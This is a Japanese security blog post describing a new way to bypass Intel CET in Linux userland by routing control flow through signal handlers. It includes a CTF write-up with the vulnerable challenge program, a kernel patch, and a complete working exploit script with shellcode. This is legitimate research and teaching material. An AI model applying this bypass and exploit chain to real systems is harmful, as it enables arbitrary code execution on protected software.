セキュリティブログ

Intel CET bypassテクニック: 未来のメモリ破壊脆弱性の攻撃手法

Intel CET bypassテクニック: 未来のメモリ破壊脆弱性の攻撃手法

更新日:2024.09.25

サイバーセキュリティ事業本部 執行役員の小池です。
タイトルの通り、Intel 社が発表・実装している防御機構である Intel CET を Linux ユーザーランド上である程度汎用的にbypass(回避)するテクニックを発見したので、紹介します。
本手法は、調べた限りでは現時点で明示的に言及している文献はありませんが、今後 Intel CET が普及するにつれて一般的に使用されると予想されます。

また、本手法を題材とした問題を IERAE CTF 2024 にて出題しました。その問題解説も行います。

前提知識

ROP

まず、ソフトウェアセキュリティ分野において、デファクトスタンダードな攻撃手法である ROP (Return-Oriented Programming) について簡単に説明します。
ROP は、攻撃者がメモリ破壊などによりプログラムスタックを操作可能になった時、任意のコード実行を行うための手法です。

典型的には、プログラムスタック上でバッファーオーバーフローが起きた場合に用いられます。例えば、C言語で関数 funcA から関数 funcB を呼び出した際、funcB のローカル配列でバッファーオーバーフローが起きた状況を考えます。すると、以下のようにして、不正にシェルを起動することが可能です

[1] 以下の図は簡略されていて、厳密には callee-saved register などもスタックに含まれます。また、x86-64 でコンパイルされた状況を想定しています。

上記の例では1つの関数を呼び出しましたが、関数呼び出しに限らず、より複雑な操作を行うことが可能なのが、ROP が重宝されている理由です。

ROPの根幹のアイデアは、pop (レジスタ); ret のような命令を組み合わせることで、プログラムスタックの値を任意のレジスタに設定できるというものです。その上で、関数呼び出しやメモリ読み込み・書き込み命令を実行することで、任意の処理を実現することができます。

Intel CET

Intel CET はこの ROP に代表される、Code Reuse Attack と呼ばれる種の攻撃を緩和する防御機構であり、SHSTK (Shadow Stack) および IBT (Indirect Branch Tracking) と呼ばれる独立した2つの機能を提供します。

SHSTK

SHSTK はまさに例で示したような、不正なリターンアドレスの書き換えを検知する仕組みです。動作原理としては、リターンアドレスを別のメモリ領域にバックアップします。プログラムスタック上のリターンアドレスと、バックアップされているリターンアドレスを比較し、これらが不一致な場合には、不正にプログラムスタックが書き換えられていると判断することができます。

IBT

IBT は SHSTK では対応できないような攻撃も一定検知できるようにするための仕組みです。SHSTK が検知できるタイミングは ret 命令によるリターン処理のみであるため、例えば関数ポインタの書き換えによる、不正なアドレスの呼び出しは検出されません。

IBT は「jmp 命令や call 命令によってジャンプするアドレスが、必ず endbr 命令になっていなけばならない」という取り決めをすることで、endbr 命令以外へのジャンプを不正なものとして禁止します。endbr 命令は関数の先頭や、ジャンプ先としてありえるアドレスにしか付与されないため、不正なジャンプ先の候補となるアドレスを大幅に減らすことができます。

ジャンプ先のアドレスは endbr 命令でさえあれば任意であるため、依然として、そのようなアドレスのみを用いて攻撃者が不正なコードを実行する可能性は残されます。しかし、攻撃に有用なアドレスの多くを禁止することはできていますし、SHSTK と併用することで、Code Reuse Attack を成功させることは大幅に難しくなります。

これらの前提知識については拙著「Binary Hacks Rebooted」にも記載がありますので、これ以上の詳細についてはそちらをご参照ください

[2] 河田 旺、小池 悠生、渡邉 慶一、佐伯 学哉、荒田 実樹 著 『Binary Hacks Rebooted』(オライリー・ジャパン、ISBN978-4-8144-0085-0)

手法のアイデア

以降はユーザーランドに限定して議論します。余談ですが、カーネルにおけるバイパス手法としては、おそらくページテーブルを書き換えることを目標にするものが増えていくのではないかと予想されます。

さて、本題に入りましょう。Intel CET を bypass せずに、例えば call 命令のみを用いて(いわゆる Call-Oriented Programming; COP)攻撃が可能であれば、素直に COP をすればよいため、どうしても Intel CET の制約を解除しないことには、攻撃が成立しないような状況を考えます。Intel CET が有効な(すなわち、ret命令が使えない、かつ endbrにしかジャンプできない)状況下で COP を実現するには、非常に豊富なガジェットや関数が必要であるため、COPが不可能な状況はむしろ一般的であると考えられます。

この時、どうにかして Intel CET が機能しないような状況を作り出さなければならないわけですが、ユーザーランドの命令を単純に実行している限りは、Intel CET は有効であり続けます。そこで、カーネルの力を利用することを考えます。

Intel 社が 2019 年に公開した "Control-flow Enforcement Technology Specification Revision 3.0" では以下のような記述があります。

When the far CALL originates at CPL3, the return addresses are not pushed onto the supervisor shadow stack. Likewise, a far RET to CPL3 from supervisor privilege level (CPL < 3) does not do any verification of the return addresses.
(CPL3 から far CALL が実行されたとき、リターンアドレスは遷移先の権限で使用されるシャドウスタックにプッシュされない。同様に、高い権限から CPL3 への far RET が実行されたとき、リターンアドレスの検証は行われない。)

これはすなわち、「ユーザーランドとカーネルをまたいだプログラムカウンタの変更を、Intel CET は検証しないことがある」という一例になっています。現代の x86-64 Linux 環境で far CALL, far RET が使用されるとは考えられないため、この例自体が直接的に活用できるわけではありませんが、「カーネルを経由したプログラムカウンタの変更を Intel CET は検知できないことがある」という考え方を活かすことは可能です。

シグナルハンドラの活用

Linuxユーザーランドにおいて、前述したようなカーネルを経由したプログラムカウンタの変更を引き起こす典型的な方法は、シグナルハンドラの呼び出しでしょう。シグナルハンドラは、予め rt_sigaction システムコールによってカーネルに保存されており、実際にシグナルが発生した際には、カーネルがシグナルハンドラを呼び出します。

そして、Linux カーネルを読むか、実際に Intel CET が有効な環境でテストをしてみると分かりますが、予想通り、シグナルハンドラで呼び出されるアドレスは、Intel CET の検知の対象外であることが確認できます。特筆すべき点としては、シグナルハンドラとして指定するアドレスには、endbr 命令が含まれなくてもよいということです。つまり、一度シグナルハンドラを経由することにより、endbr命令に制限されることなく、任意のガジェットを呼び出すことが可能になります。

汎用性の高いこのテクニックの使用パターンとしては、signal(SIGSEGV, 呼び出したいアドレス)を呼び出し、適当にクラッシュさせることでハンドラを実行させるものや、複数回任意のアドレスを関数として呼び出せる場合には、signal(何らかのシグナル番号, 呼び出したいアドレス)を実行した上で、raise(ハンドラを設定したシグナル番号)を呼び出すものが考えられます。

また、rt_sigactionではシグナルハンドラにとってのリターンアドレスとなる、sa_restorerを指定することができます。デフォルトでは、シグナルハンドラから元のコンテキストに復帰するため、以下ような__restore_rtが指定されます。

ここで注目すべきは、__restore_rt の先頭が endbr 命令になっていないことです。すなわち、sa_restorer についても Intel CET で検知されることはありません。したがって、状況として稀だとは思われますが、sigaction関数を呼び出し、sa_restorerを任意に設定できるような状況では、こちらに呼び出したいガジェットを指定することも可能です。

実践編: Intel CET Bypass Challenge

実際に、このテクニックを用いて、IERAE CTF 2024で出題した「Intel CET Bypass Challenge」を解いてみます。

そもそも、2024 年 9 月 22 日現在、メインラインの最新の Linux カーネルである v6.11 においてすら、ユーザーランドで IBT を有効にする機能は実装されていないことに注意しておきます。したがって、この問題では、以下のようなパッチを当てたカスタム Linux カーネルを Azure 上で動かし、その上に問題プログラムをデプロイしています。

diff --git a/arch/x86/kernel/shstk.c b/arch/x86/kernel/shstk.c
index 19e4db582..d4387b68e 100644
--- a/arch/x86/kernel/shstk.c
+++ b/arch/x86/kernel/shstk.c
@@ -174,7 +174,7 @@ static int shstk_setup(void)

        fpregs_lock_and_load();
        wrmsrl(MSR_IA32_PL3_SSP, addr + size);
-       wrmsrl(MSR_IA32_U_CET, CET_SHSTK_EN);
+       wrmsrl(MSR_IA32_U_CET, CET_SHSTK_EN | CET_ENDBR_EN | CET_NO_TRACK_EN);
        fpregs_unlock();

        shstk->base = addr;

前述の通り、Linux カーネルには、ユーザーランド IBT を有効にする機能がまだ実装されていませんが、すでにユーザーランドバイナリ側の対応は完了しています。例えば、最近の GCC や Clang が生成するバイナリは IBT と互換性がありますし、多くの Linux ディストリビューションのライブラリやコマンドは、そういったコンパイラによってビルドされています。そのため、近い将来、 IBT を有効にする機能も実装されると考えられ、今後メモリ破壊を攻撃する上では SHSTK および IBT の両方に対処する必要が生じるでしょう。

そして、このカーネルの上で実際に動作しているプログラムが以下になります。

// gcc chal.c -fno-stack-protector -static -o chal
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void timedout(int) {
  puts("timedout");
  exit(0);
}

char g_buf[256];

int main() {
  char buf[16];
  long long int arg1 = 0;
  long long int arg2 = 0;
  void (*func)(long long int, long long int, long long int) = NULL;

  alarm(30);
  signal(SIGALRM, timedout);

  fgets(g_buf, 256, stdin); // My mercy
  fgets(buf, 256, stdin);
  if (func) func(arg1, arg2, 0);
}

明らかにスタック上でバッファーオーバーフローし、func, arg1, arg2の3つの値を操作することが可能です。また、今回は問題を簡単にするため、アドレスが既知のグローバル配列 g_buf にデータを自由に設定できるようにしています。静的ビルドを行っているため、ROP や COP に利用できるガジェットはある程度多く含まれていますが、execvesystem といった関数は含まれていませんし、そもそも Intel CET が完全に有効な状況では、endbr 命令から始まるアドレスしか呼び出せません。

ここで、先ほど紹介した、シグナルハンドラによる回避を利用します。g_bufstruct sigactionとして適切な値を設定したうえで、sigaction(SIGSEGV, g_buf, NULL)を呼び出します。g_bufに設定すべき内容としては、ハンドラとして main 関数を用いることや、シグナルハンドラが呼び出された際に SIGSEGV がマスクされないようにすることです。

サンプルコードとしては以下のようなものになるでしょう。

def gen_segv_block(func, arg1, arg2):
  block = b''
  block += b'A' * 16
  block += b'B' * 8
  block += p64(func)
  block += p64(arg2)
  block += p64(arg1)
  block += b'C' * 16
  assert not b'\n' in block
  block += b'\n'

  return block

payload = b''

g_buf = b''
g_buf += p64(main_addr)
g_buf += p64(0)
g_buf += b'\x00' * 0x78
g_buf += p32(0x40000000) # SA_NODEFER
assert not b'\n' in g_buf
payload += g_buf + b'\n'
payload += gen_segv_block(sigaction_addr, 11, g_buf_addr)

これによって、SIGSEGVが発生するたびにmain関数が実行されるようになり、何度でもバッファーオーバーフローと関数呼び出しを繰り返すことができます。ちなみに、SHSTK や IBT が攻撃を検知した際には SIGSEGV が発生するため、今回のケースにおいては、リターンアドレスを適当な値に設定しておけば、自然と SIGSEGV が発生してくれます。

ちなみに、以前から提唱されている言説として、Intel CET を bypass するためには Counterfeit Objects が必要になるというものがあります。これは端的に言えば、攻撃者が指定した関数を呼び出す行為を繰り返してくれるような、ループが必要であるということです。今回は SIGSEGV のシグナルハンドラにより、このループを実現していると捉えることもできます。

[3] Schuster, F., et al, "Counterfeit Object-oriented Programming: On the Difficulty of Preventing Code Reuse Attacks in C++ Applications," in Proceedings of the 2015 IEEE Symposium on Security and Privacy, 2015, pp. 745–762.

これにより、任意の回数、好きな2引数の関数に呼び出せるようになりました。静的ビルドのおかげで、呼び出すと便利な関数が多数存在しており、あとは適切にそれらの関数を呼び出すだけでこの問題を解くことができます。

一例としては、_dl_make_stacks_executableという関数を、適切な下準備のもと、呼び出すことによって、RWX なメモリ領域を作ることができます。

int
_dl_make_stacks_executable (void **stack_endp)
{
...
  list_t *runp;
  list_for_each (runp, &GL (dl_stack_used))
    {
      err = __nptl_change_stack_perm (list_entry (runp, struct pthread, list));
      if (err != 0)
  break;
    }
...
}

int
__nptl_change_stack_perm (struct pthread *pd)
{
...
  if (__mprotect (stack, len, PROT_READ | PROT_WRITE | PROT_EXEC) != 0)
    return errno;

RWX なメモリ領域が作成できたら、そこに shellcode を配置し、ジャンプすれば、任意のコード実行が可能です。実際にこの問題を解くことができるスクリプトは以下のようになります。

from ptrlib import *
import sys

IP_ADDR = 'localhost'
PORT = 8810

shellcode = b'\xf3\x0f\x1e\xfaH1\xd2RH\xbf/bin/catWT_RH\xbe////flagVT^RVWT^RTZj;X\x0f\x05'

exit_addr = 0x404e60
stack_chk_fail_addr = 0x41bb40
strcpy_addr = 0x468ce0
signal_addr = 0x4045d0
sigaction_addr = 0x404690
main_addr = 0x40190d
g_buf_addr = 0x4abb20
dl_pagesize_addr = 0x4ab118
dl_stack_cache_addr = 0x4b0b00
dl_make_stacks_executable_addr = 0x459200
buffer_addr = 0x4B1841

fake_cache_addr = buffer_addr
arg_addr = fake_cache_addr + 125 * 8
shellcode_addr = arg_addr + 8

def gen_segv_block(func, arg1, arg2):
  block = b''
  block += b'A' * 16
  block += b'B' * 8
  block += p64(func)
  block += p64(arg2)
  block += p64(arg1)
  block += b'C' * 16
  assert not b'\n' in block
  block += b'\n'

  return block

def halt():
  return b'\n' + gen_segv_block(stack_chk_fail_addr, 0, 0)

def copy_payload(dst_addr, payload):
  ret = b''

  prev = 0
  idx = 0
  while idx < len(payload):
    buffer = b''

    while idx < len(payload):
      buffer += payload[idx:idx+1]
      if len(buffer) >= 254 or payload[idx] == 0x0a or payload[idx] == 0x0:
        break

      idx += 1

    if buffer[-1:] != b'\n':
      buffer += b'\n'

    ret += buffer
    ret += gen_segv_block(strcpy_addr, dst_addr+prev, g_buf_addr)

    idx += 1
    prev = idx

  return ret

payload = b''

g_buf = b''
g_buf += p64(main_addr)
g_buf += p64(0)
g_buf += b'\x00' * 0x78
g_buf += p32(0x40000000)
assert not b'\n' in g_buf
payload += g_buf + b'\n'
payload += gen_segv_block(sigaction_addr, 11, g_buf_addr)

payload += copy_payload(fake_cache_addr, p64(dl_stack_cache_addr))
payload += copy_payload(fake_cache_addr + 122 * 8, p64(shellcode_addr & ~0xfff))
payload += copy_payload(fake_cache_addr + 123 * 8, p64(0x1000))
payload += copy_payload(shellcode_addr, shellcode)
payload += copy_payload(dl_pagesize_addr, p64(0))
payload += copy_payload(dl_stack_cache_addr, p64(fake_cache_addr))

payload += b'\n' + gen_segv_block(dl_make_stacks_executable_addr, arg_addr, 0)
payload += b'\n' + gen_segv_block(shellcode_addr, 0, 0)
payload += b'\n' + gen_segv_block(exit_addr, 0, 0)
#payload += halt()

p = Socket(IP_ADDR, PORT)
p.send(payload)
print(p.recv(1024))

他にも、fopen および fputc を駆使して共有ライブラリを作成し、それを dlopen で読み込み、実行するといった方法も考えられます(ただし、 FILE* のアドレス特定のために、asprintf および free によるヒープメモリのキャッシュなどを駆使する必要があると思われます)。

また、実は今回の問題については、紹介したシグナルハンドラのテクニックを用いずとも、COP のみで解くことが可能だと思われます。twalk 関数を呼び出すこととし、g_bufに壊れた2分木構造を作成することにすれば、Intel CET の課す制約下においても、同様のループを作成することができるためです。

終わりに

本記事では Linux ユーザーランドにおける Intel CET の回避テクニックを提案・紹介しました。このシグナルハンドラを使ったテクニックが CTF に限らず現実世界でも有用かどうかは、IBT が標準で有効化されるようになった後に判明していくでしょう。

他の環境、例えば Windows ユーザーランドではどうかというのは検討していませんので、探求する価値があるのではないかと思います。ただし、こと Windows では後方互換性を強く維持しなければならない関係上、IBT を有効にできる日は来ないのではないかという気もしていますが...

GMOサイバーセキュリティ byイエラエではバグバウンティやセキュリティコンテストなどで活躍するセキュリティエンジニアが実施する「IoTペネトレーションテスト」および「デスクトップアプリ診断」を提供しています。
受領したソースコードをベースとした診断を行うことで、標準的なブラックボックス診断では検出ができないような脆弱性も検出し、リスクを評価します。
ソースコードを共有いただけない場合でも、リバースエンジニアリングを駆使し、ホワイトボックスな診断を実施することも可能です。
是非お気軽にご相談ください。

セキュリティ診断のことなら
お気軽にご相談ください
セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。

関連記事

経験豊富なエンジニアが
セキュリティの不安を解消します

Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

疑問点やお見積もり依頼はこちらから

お見積もり・お問い合わせ

セキュリティ診断サービスについてのご紹介

資料ダウンロード